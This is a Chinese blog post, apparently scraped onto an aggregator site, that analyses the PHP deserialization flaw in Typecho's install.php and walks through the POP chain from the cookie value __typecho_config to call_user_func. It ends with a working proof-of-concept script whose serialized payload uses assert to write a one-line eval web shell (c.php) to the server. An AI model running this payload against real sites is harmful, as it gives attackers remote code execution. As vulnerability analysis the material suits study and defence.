typecho install.phpl漏洞分析
来源:互联网 发布:数据监控系统 开源 编辑:程序博客网 时间:2024/06/06 09:44
漏洞出了很久了一直没时间分析,现在有空记录下分析流程,学习下php反序列化的知识。
0x01 php序列化与反序列化及魔术方法
php序列化与反序列化用到的主要有两个函数:unserialize()与serialize()。在unserialize()时会调用__wakeup()
,serialize()
时会调用__sleep()
函数。
达成反序列化漏洞的两个条件:
- unserialize函数的变量可控
- php文件中存在可利用的类,类中有魔术方法
0x02 分析过程
其他文章分析该漏洞已经很多了,这里直接说重点。
达成该漏洞需要满足两个条件:
1. 反序列化函数变量可控
2. POP链
对于第一点,在install.php文件的第230行已经达成,cookie中的__typecho_config
可控。
第二点的pop链如下:
在实例化Typecho_Db时,第120行存在字符串拼接,如果$adapterName是传入的一个类的话,会自动调用类的__toString()
魔术方法,于是需要寻找一个类的__toString()
。
全局搜索__toString()
方法,定位到Feed.php文件,在__toString()
方法中找到以下代码:
_item
为Typecho_Feed
的私有属性且为数组。于是就有,如果访问的_item为对象,没有sreenName或者url属性,调用该对象的魔术方法__get()
。
于是全局搜索,寻找到了Typecho_Request中的__get()方法。
call_user_func(): call_user_func
是PHP的内置函数,该函数允许用户调用直接写的函数并传入一定的参数
于是POP链就出来了。
0x03 POP链
unserialize()中的参数可控-> Typecho_Db实例化时字符串拼接导致调用__toString()
-> __toString()
方法中调用不存在的属性导致调用__get()
–> Typecho_Request中的__get()
方法调用call_user_func
导致执行任意代码
0x04 poc
<?phpclass Typecho_Feed{ const RSS2 = "RSS 2.0"; private $_type; private $_version; private $_charset; private $_lang; private $_items = array(); public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){ $this->_version = $version; $this->_type = $type; $this->_charset = $charset; $this->_lang = $lang; } public function addItem(array $item){ $this->_items[] = $item; }}class Typecho_Request{ private $_params = array('screenName' => "file_put_contents('c.php', '<?php eval(\$_POST[1]);//123123?>')"); private $_filter = array('assert');}$p1 = new Typecho_Feed(1);$p2 = new Typecho_Request();$p1->addItem(array('author' => $p2));$exp = array('adapter' => $p1, 'prefix' => 'test');echo base64_encode(serialize($exp));?>
参考链接
1.typecho “后门”分析
- typecho install.phpl漏洞分析
- Typecho install.php存在的反序列化漏洞
- typecho
- PHP魔术方法:Typecho反序列化漏洞
- 一种基于PHP的交互式Typecho反序列化漏洞利用工具
- 漏洞分析马后炮 s2-045漏洞分析
- ICMP漏洞分析
- MS05-055漏洞分析
- 软件漏洞分析入门
- ymcms3.1.0漏洞分析
- MS08-067漏洞分析
- MS08-067漏洞分析
- MS06-030漏洞分析
- 软件漏洞分析入门
- 智能手机漏洞分析
- MS10-081漏洞分析
- Windows SMB漏洞分析
- MS11-011漏洞分析
- JSTL 标签大全详解
- 分析2012年美国选举数据---映射map/透视表pivot_table/聚合groupby/apply
- -source 7 或更高版本以允许 switch 中存在字符串
- idea中pom如何加载jar包依赖
- APT 1004 Counting Leaves (30)
- typecho install.phpl漏洞分析
- 深度学习中的Attention模型介绍及其进展
- java程序员学习scala前必看的技术文档(2)
- CentOS7上elasticsearch5.0启动失败
- Flask框架项目实例:**租房网站(一)
- 基于Python数据分析与机器学习案例实战教程
- Active SLAM 主动SLAM
- usb host发送数据api使用
- jquery-获取table值